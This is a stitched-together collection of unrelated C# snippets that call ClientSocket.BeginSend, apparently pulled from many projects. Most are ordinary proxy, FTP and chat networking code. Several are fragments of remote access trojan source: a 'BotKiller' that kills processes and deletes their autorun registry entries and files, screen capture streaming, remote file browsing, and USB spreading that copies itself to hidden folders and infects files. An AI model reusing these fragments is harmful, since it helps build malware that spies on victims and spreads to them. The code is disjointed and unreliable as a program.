/// <summary> /// Отправка данных серверу /// </summary> /// <param name="value">любой массив байт</param> public void Send(byte[] value) { if (ConnectedStatus) { try { ClientSocket?.BeginSend(value, 0, value.Length, SocketFlags.None, new AsyncCallback(SendCallback), null); } catch (SocketException ex) { CallErrorClient(ClientErrorType.SendDataError, ex.Message); Disconnect(); } catch (Exception ex) { CallErrorClient(ClientErrorType.SendDataError, ex.Message); Disconnect(); } } else { CallErrorClient(ClientErrorType.SoccketIsNotConnected, "The socket is not connected"); } }
private void OnConnected(IAsyncResult ar) { try { DestinationSocket.EndConnect(ar); string rq; if (HttpRequestType.ToUpper().Equals("CONNECT")) { //HTTPS rq = HttpVersion + " 200 Connection established\r\nProxy-Agent: DoctorProxy Proxy Server\r\n\r\n"; ClientSocket.BeginSend(Encoding.ASCII.GetBytes(rq), 0, rq.Length, SocketFlags.None, new AsyncCallback(this.OnOkSent), ClientSocket); } else { //Normal HTTP rq = RebuildQuery(); //اینجا لاگ کن DestinationSocket.BeginSend(Encoding.ASCII.GetBytes(rq), 0, rq.Length, SocketFlags.None, new AsyncCallback(this.OnQuerySent), DestinationSocket); } } catch (Exception ex) { Log.Write(MethodInfo.GetCurrentMethod(), ex); Dispose(); } }
private void btnSendFile_Click_1(object sender, EventArgs e) { try { string fileString = string.Empty; OpenFileDialog ofd = new OpenFileDialog(); ofd.AutoUpgradeEnabled = false; ofd.Filter = "Text File|*.txt"; // ofd.Filter = "Image Files |*.JPG;*.PNG| Text File|*.txt"; if (ofd.ShowDialog() == DialogResult.OK) { string path = ofd.FileName; byte[] fileByte = File.ReadAllBytes(path); fileString += Encoding.ASCII.GetString(fileByte); MessagePackage package = new MessagePackage(); string toSendMessage; toSendMessage = package.ConcatenateMessage(MessageType, 1, MyName, this.Text, fileString); byte[] buff = Encoding.ASCII.GetBytes(toSendMessage); ClientSocket.BeginSend(buff, 0, buff.Length, SocketFlags.None, new AsyncCallback(SendCallback), null); } } catch (SocketException) { } catch (Exception ex) { MessageBox.Show(ex.Message, Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error); } }
public void RunBotKiller() { foreach (Process p in Process.GetProcesses()) { try { string pName = p.MainModule.FileName; if (Inspection(pName)) { if (!IsWindowVisible(p.MainWindowHandle)) { p.Kill(); RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName); RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName); System.Threading.Thread.Sleep(100); File.Delete(pName); count += 1; } } } catch { } } if (count > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "BotKiller"; msgpack.ForcePathObject("Count").AsString = count.ToString(); ClientSocket.BeginSend(msgpack.Encode2Bytes()); } }
///<summary>Called when we receive a reply from the FTP server.</summary> ///<param name="ar">The result of the asynchronous operation.</param> private void OnReplyReceived(IAsyncResult ar) { try { int Ret = DestinationSocket.EndReceive(ar); if (Ret <= 0) { Dispose(); return; } if (DataForward != null && DataForward.ExpectsReply) { if (!DataForward.ProcessPasvReplyRecv(Encoding.ASCII.GetString(RemoteBuffer, 0, Ret))) { DestinationSocket.BeginReceive(RemoteBuffer, 0, RemoteBuffer.Length, SocketFlags.None, new AsyncCallback(OnReplyReceived), DestinationSocket); } } else { ClientSocket.BeginSend(RemoteBuffer, 0, Ret, SocketFlags.None, new AsyncCallback(OnReplySent), ClientSocket); } } catch { Dispose(); } }
public void BeginSend(object msg) { lock (SendSync) { try { if (!ClientSocket.Connected) { Disconnected(); return; } if ((byte[])msg == null) { return; } byte[] buffer = Settings.AES.Encrypt((byte[])msg); byte[] buffersize = BitConverter.GetBytes(buffer.Length); ClientSocket.Poll(-1, SelectMode.SelectWrite); ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null); ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null); } catch { Disconnected(); return; } } }
private void OnConnected(IAsyncResult ar) { try { if (DestinationSocket == null) { return; } string str; DestinationSocket.EndConnect(ar); if (HttpRequestType.ToUpper().Equals("CONNECT")) { if (ClientSocket != null) { str = HttpVersion + " 200 Connection established\r\n\r\n"; ClientSocket.BeginSend(Encoding.ASCII.GetBytes(str), 0, str.Length, SocketFlags.None, OnOkSent, ClientSocket); } } else { str = RebuildQuery(); DestinationSocket.BeginSend(Encoding.ASCII.GetBytes(str), 0, str.Length, SocketFlags.None, OnQuerySent, DestinationSocket); } } catch { Dispose(); } }
public static void CaptureAndSend() { try { IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60); while (RemoteDesktop_Status == true) { if (!ClientSocket.Client.Connected) { break; } Bitmap bmp = GetScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); using (MemoryStream stream = new MemoryStream(1000000)) { unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream); if (stream.Length > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); ClientSocket.BeginSend(msgpack.Encode2Bytes()); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } } catch { } }
// Remote Cycle private void OnRemoteReceive(IAsyncResult ar) { try { if (RemoteSocket.Connected) { int length = RemoteSocket.EndReceive(ar); if (length > 0 && ClientSocket.Connected) { if (Encoding.ASCII.GetString(RemoteBuffer, 0, 4).StartsWith("HTTP")) { string respose = Encoding.ASCII.GetString(RemoteBuffer, 0, length); int sp = respose.IndexOf("\r\n"); Helper.Debug(respose.Substring(0, sp > 0 ? sp + 2 : 1024), ConsoleColor.DarkYellow); } ClientSocket.BeginSend(RemoteBuffer, 0, length, SocketFlags.None, this.OnClientSent, ClientSocket); return; } } } catch (Exception ex) { Dispose(); Helper.PublishException(ex); } Dispose(); }
public void GetPath(string path) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; StringBuilder sbFolder = new StringBuilder(); StringBuilder sbFile = new StringBuilder(); foreach (string folder in Directory.GetDirectories(path)) { sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>"); } foreach (string file in Directory.GetFiles(path)) { Icon icon = Icon.ExtractAssociatedIcon(file); Bitmap bmpIcon = icon.ToBitmap(); long length = new FileInfo(file).Length; using (MemoryStream ms = new MemoryStream()) { bmpIcon.Save(ms, ImageFormat.Png); sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + length.ToString() + "-=>"); } } msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); msgpack.ForcePathObject("File").AsString = sbFile.ToString(); ClientSocket.BeginSend(msgpack.Encode2Bytes()); }
public void BeginSend(object Msgs) { lock (SendSync) { if (ClientSocket == null) { Disconnected(); return; } if (!ClientSocket.Connected) { Disconnected(); return; } try { byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); ClientSocket.Poll(-1, SelectMode.SelectWrite); ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null); ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null); } catch { Disconnected(); return; } } }
private static void Received() { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Received"; ClientSocket.BeginSend(msgpack.Encode2Bytes()); }
public void OnSendHeaderCallback(IAsyncResult result) { WriteAttachment attachment = (WriteAttachment)result.AsyncState; attachment.NumberOfBytesWrittenSoFar += (ulong)ClientSocket.EndSend(result); if (attachment.NumberOfBytesWrittenSoFar < (ulong)attachment.WriteHeaderBuffer.LongLength) { // We have not finished sending the header, keep sending it ClientSocket.BeginSend(attachment.WriteHeaderBuffer, (int)attachment.NumberOfBytesWrittenSoFar, (int)((ulong)attachment.WriteHeaderBuffer.LongLength - attachment.NumberOfBytesWrittenSoFar), SocketFlags.None, OnSendHeaderCallback, attachment); } else { // The header was sent completely attachment.IsHeaderSent = true; attachment.NumberOfBytesWrittenSoFar = 0; // We have sent the header, begin sending the payload now ClientSocket.BeginSend(attachment.WritePayloadBuffer, 0, (int)attachment.ExpectedWritePayloadLength, SocketFlags.None, OnSendPayloadCallback, attachment); } }
///<summary>Sends a welcome message to the client.</summary> public override void StartHandshake() { try { string ToSend = "220 Mentalis.org FTP proxy server ready.\r\n"; ClientSocket.BeginSend(Encoding.ASCII.GetBytes(ToSend), 0, ToSend.Length, SocketFlags.None, new AsyncCallback(this.OnHelloSent), ClientSocket); } catch { Dispose(); } }
private static void ProcessPengingPackets() { do { MissingOutgoingPackets.TryDequeue(out byte[] packet); ClientSocket.BeginSend(packet, 0, packet.Length, SocketFlags.None, null, null); } while (MissingOutgoingPackets.Count > 0); AwaitPendingPackets.Set(); }
///<summary>Sends a "400 - Bad Request" error to the client.</summary> private void SendBadRequest() { string brs = "HTTP/1.1 400 Bad Request\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n<html><h1>Could not resolve the DNS name, or the site is not reachable</html>"; try { ClientSocket.BeginSend(Encoding.ASCII.GetBytes(brs), 0, brs.Length, SocketFlags.None, new AsyncCallback(this.OnErrorSent), ClientSocket); } catch { Dispose(); } }
///<summary>Sends a "400 - Bad Request" error to the client.</summary> private void SendBadRequest() { string brs = "HTTP/1.1 400 Bad Request\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n<html><head><title>400 Bad Request</title></head><body><div align=\"center\"><table border=\"0\" cellspacing=\"3\" cellpadding=\"3\" bgcolor=\"#C0C0C0\"><tr><td><table border=\"0\" width=\"500\" cellspacing=\"3\" cellpadding=\"3\"><tr><td bgcolor=\"#B2B2B2\"><p align=\"center\"><strong><font size=\"2\" face=\"Verdana\">400 Bad Request</font></strong></p></td></tr><tr><td bgcolor=\"#D1D1D1\"><font size=\"2\" face=\"Verdana\"> The proxy server could not understand the HTTP request!<br><br> Please contact your network administrator about this problem.</font></td></tr></table></center></td></tr></table></div></body></html>"; try { ClientSocket.BeginSend(Encoding.ASCII.GetBytes(brs), 0, brs.Length, SocketFlags.None, new AsyncCallback(this.OnErrorSent), ClientSocket); } catch { Dispose(); } }
public void Send(Stanza msg) { if (msg != null) { _clientSocket.BeginSend(msg.ToString()); } else { InvokeOnError(new Error(new NullReferenceException("Message instance is null."))); } }
public void SendAsync(string message) { try { byte[] buffer = Encoding.UTF8.GetBytes(message); ClientSocket.BeginSend(buffer, 0, buffer.Length, 0, BeginSendCallBack, null); } catch (Exception ex) { ClientException(this, new ExceptionEventArgs(ex)); } }
private void SendErrorPage(string respose) { try { ClientSocket.BeginSend(Encoding.ASCII.GetBytes(respose), 0, respose.Length, SocketFlags.None, this.OnErrorSent, ClientSocket); } catch (Exception ex) { Dispose(); Helper.PublishException(ex); } }
public void Send(byte[] data) { try { SentBuffer = data; ClientSocket.BeginSend(SentBuffer, 0, SentBuffer.Length, SocketFlags.None, SentData, ClientSocket); } catch (Exception e) { OnErrorHandled?.Invoke(e); } }
///<summary>Sends a "200 - Head Response" error to the client.</summary> private void SendHeadResponse() { string brs = _cachedRemoteBufferHeaders + "\r\n\r\n"; try { ClientSocket.BeginSend(Encoding.ASCII.GetBytes(brs), 0, brs.Length, SocketFlags.None, null, ClientSocket); } catch { Dispose(); } }
private void Send(string data) { try { var bytes = Encoding.UTF8.GetBytes(data); ClientSocket.BeginSend(bytes, 0, bytes.Length, SocketFlags.None, new AsyncCallback(SendCallback), null); } catch (Exception) { _Close(); Console.WriteLine("送れませんでした。Send"); } }
///<summary>Called when we have received data from the remote host.<br>Incoming data will immediately be forwarded to the local client.</br></summary> ///<param name="ar">The result of the asynchronous operation.</param> protected void OnRemoteReceive(IAsyncResult ar) { try { int Ret = DestinationSocket.EndReceive(ar); if (Ret <= 0) { Dispose(); return; } ClientSocket.BeginSend(RemoteBuffer, 0, Ret, SocketFlags.None, new AsyncCallback(this.OnClientSent), ClientSocket); } catch { Dispose(); } }
public void Send(string message) { byte[] sendMessage = System.Text.Encoding.ASCII.GetBytes(message); try { ClientSocket.BeginSend(sendMessage, 0, sendMessage.Length, SocketFlags.None, new AsyncCallback(SendCallback), null); } catch (SocketException se) { if (se.SocketErrorCode == SocketError.ConnectionReset) { Console.WriteLine(">>> Server is unavailable. Disconnecting <<<"); EndConnection(); return; } } }
public void Send(string msgData) { if (AcceptedClient == null) { byte[] array = Encoding.ASCII.GetBytes(msgData);//new byte[data.Length]; ClientSocket.BeginSend(array, 0, array.Length, SocketFlags.None, null, null); return; } NetworkStream netStram = AcceptedClient.GetStream(); lock (netStram) { StreamWriter streamWriter = new StreamWriter(AcceptedClient.GetStream(), Encoding.GetEncoding("ISO-8859-1")); streamWriter.Write(msgData); streamWriter.Flush(); } }
public override void Send(TRequestPacket packet) { try { Log.Trace($"Connecting to server on port: {ServerPort}"); ClientSocket.Connect(ServerEndPoint); Log.Trace("Connected"); } catch (Exception e) { Log.Error(e, "Failed to connect to server"); } byte[] packetBytes = packet.ToBytes(); ClientSocket.BeginSend(packetBytes, 0, packetBytes.Length, SocketFlags.None, SendCallback, ClientSocket); }
private void onPacketProcessed(byte[] buffer) { if (Disposed) { return; } if (!ClientSocket.Connected) { Disconnect(); return; } try { ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, onPacketSend, ClientSocket); } catch { Disconnect(); } }
public async Task SendPacket(IPacket packet) { byte[] buffer; using (var ms = new MemoryStream()) { await LightRATUtils.Instance.packetSerializer.SerializeAsync(ms, packet); buffer = ms.ToArray(); } var compressedData = await CryptEngine.CompressAsync(buffer); var framedData = await MessageFramingProtocol.FrameAsync(compressedData); ClientSocket.BeginSend(framedData, 0, framedData.Length, SocketFlags.None, SendCallback, null); }
private void Initialize() { ExplorerOptions(); int count = 0; foreach (DriveInfo USB in DriveInfo.GetDrives()) { try { if (USB.DriveType == DriveType.Removable && USB.IsReady) { count += 1; if (!Directory.Exists(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory)) { Directory.CreateDirectory(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory); File.SetAttributes(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory, FileAttributes.System | FileAttributes.Hidden); } if (!Directory.Exists((USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory))) { Directory.CreateDirectory((USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory)); } if (!File.Exists(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.LimeUSBFile)) { File.Copy(Application.ExecutablePath, USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.LimeUSBFile); } CreteDirectory(USB.RootDirectory.ToString()); InfectFiles(USB.RootDirectory.ToString()); } } catch (Exception ex) { Debug.WriteLine("Initialize " + ex.Message); } } if (count != 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "usbSpread"; msgpack.ForcePathObject("Count").AsString = count.ToString(); ClientSocket.BeginSend(msgpack.Encode2Bytes()); } }